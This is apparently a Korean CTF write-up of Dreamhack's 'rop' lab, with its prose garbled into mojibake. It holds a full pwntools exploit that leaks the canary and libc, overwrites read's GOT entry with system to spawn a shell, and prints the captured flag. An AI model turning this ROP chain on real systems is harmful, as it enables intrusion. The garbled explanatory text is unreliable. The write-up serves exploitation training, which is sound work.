์•„๊นŒ system ํ•จ์ˆ˜์˜ ์œ„์น˜๋ฅผ ์ฐพ์•˜๊ณ  ๋˜ํ•œ read์˜ got์˜ ๊ฐ’์„ ๋„ฃ์—ˆ์Œ์œผ๋กœ ์ €๋ ‡๊ฒŒ ์ถ”๊ฐ€์ ์œผ๋กœ ๋„ฃ๊ณ 
๋์— ๋๋‚˜๋Š” null-byte๊นŒ์ง€ ๋„ฃ์–ด์ฃผ๋ฉด.. ์™„๋ฒฝํ•˜๊ฒŒ ๊ฒŒ์ž„์ด ๋๋‚ฌ๋„ค์š”!!

#/!/usr/python3
from pwn import *
 
host = 'host3.dreamhack.games'
port = 8331
 
def slog(name, addr): return success(' : '.join([name, hex(addr)]))
 
context(arch='amd64', os='linux')
#context.log_level = 'debug'
 
#p = process('./rop')
p = remote(host, port)
e = ELF('./rop', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
#libc = e.libc
 
#gdb.attach('./rop)
 
# [1] leak Canary
buf = b'A' * 0x39
 
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
Cnry = u64(b'\00'+p.recvn(7))
 
# [2] exploit
read_system = libc.symbols['read'] - libc.symbols['system']
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
 
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
 
#payload leak Canary
payload = b'A'*0x38 + p64(Cnry) + b'B'*0x8
 
#put(read_got)
payload += p64(pop_rdi) + p64(read_got) 
payload += p64(puts_plt)
 
#read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
 
#read('/bin/sh') == system('/bin/sh')
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(read_plt)
 
#check middleware
p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + (b'\00' * 2))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
read_sym = libc.symbols['read']
 
#slog('libc vestion offset', read_system)
slog('Canary', Cnry)
slog('read', read)
slog('libc_base', lb)
slog('system', system)
slog('read_sym', read_sym)
 
p.send(p64(system) + b'/bin/sh\x00')
 
p.interactive()

DH{68b82d23a30015c732688c89bd03d401}


์ฐธ๊ณ  ์ž๋ฃŒ

 

rop

Description Exploit Tech: Return Oriented Programming์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

dreamhack.io

 

Exploit Tech: Return Oriented Programming

์ด๋ฒˆ ์ฝ”์Šค์—์„œ๋Š” Return Oriented Programming ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ์„ค๋ช…ํ•˜๊ณ , ์‹ค์Šต์„ ํ†ตํ•ด ์ด๋ฅผ ์ดํ•ดํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

๋”๋ณด๊ธฐ
 

๊ฐ•์˜๋…ธํŠธ๋ฅผ ๋ณด๋ฉฐ rop๋ฅผ ํ’€๋‹ค ๊ถ๊ธˆํ•œ์ ์ด ์ƒ๊ฒจ ์งˆ๋ฌธ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

payload += p64(pop_rdi) + p64(0) payload += p64(poprsir15) + p64(read_got) + p64(0) payload += p64(r…

dreamhack.io

 

 

ํ˜น์‹œ ์–ด๋–ค ๋ถ€๋ถ„์„ ์ฐพ์•„๋ด์•ผํ• ๊นŒ์š”? ๋‹ค ์ดํ•ดํ•œ๊ฒƒ ๊ฐ™์€๋ฐ ์•ˆ๋˜๋Š” ์ด์œ ๋ฅผ ๋ชจ๋ฅด๊ฒ ์Šต๋‹ˆ๋‹ค.

์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š” ๊ฑด์ง€๋Š” ์ด์ œ ์ดํ•ดํ•˜๊ณ  ๋‘ ์ฃผ์งธ ํ•ด๋ณด๋Š”๋ฐ ๊ณ„์† ์„ธ๊ทธ๋จผํ…Œ์ด์…˜ ์˜ค๋ฅ˜๊ฐ€ ๋œน๋‹ˆ๋‹ค.... (puts์—์„œ readgot์ฝ์–ด์˜ค๊ณ , ๊ทธ ์ฃผ์†Œ๋กœ system์ฃผ์†Œ ๊ณ„์‚ฐํ•ด์„œ readgo…

dreamhack.io

 

read()์˜ got์˜ ๊ฐ’์„ ์ฝ์„ ๋•Œ -> read = u64(p.recvn(6)+b"\x00"*2) ์™œ ์ด๋Ÿฐ์‹์œผ๋กœ ๊ฐ’์„ ์ฝ๋Š”์ง€ ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค.

read()์˜ got์˜ ๊ฐ’์„ ์ฝ์„ ๋•Œ -> read = u64(p.recvn(6)+b"\x00"*2) ์™œ ์ด๋Ÿฐ์‹์œผ๋กœ ๊ฐ’์„ ์ฝ๋Š”์ง€ ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค. ropํ”„๋กœ๊ทธ๋žจ์—์„œ read()์˜…

dreamhack.io

 

 

 

Beginners' guide

Introduction You already know this bit Return-oriented programming (ROP) is a mechanism that can be leveraged to bypass exploit mitigation schemes such as NX/DEP. For some background on the subject you can check out the Wikipedia page. For a little more de

ropemporium.com

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€